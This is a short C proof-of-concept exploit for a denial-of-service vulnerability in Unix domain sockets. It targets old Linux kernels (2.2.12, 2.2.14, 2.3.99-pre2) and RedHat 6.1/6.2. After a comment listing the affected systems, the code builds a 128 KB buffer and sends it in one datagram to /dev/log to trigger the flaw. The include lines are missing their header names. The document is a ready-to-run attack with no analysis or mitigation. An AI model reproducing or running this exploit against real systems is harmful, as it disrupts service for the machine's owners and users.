/* Domain Socket Denial of Service Vulnerability Affected: Linux kernel 2.3.99-pre2 Linux kernel 2.2.14 Linux kernel 2.2.12 RedHat Linux 6.2 RedHat Linux 6.1 sparc RedHat Linux 6.1 i386 RedHat Linux 6.1 alpha */ #include #include #include char buf[128 * 1024]; int main ( int argc, char **argv ) { struct sockaddr SyslogAddr; int LogFile; int bufsize = sizeof(buf)-5; int i; for ( i = 0; i < bufsize; i++ ) buf[i] = ' '+(i%95); buf[i] = '\0'; SyslogAddr.sa_family = AF_UNIX; strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) ); LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 ); sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) ); return 0; }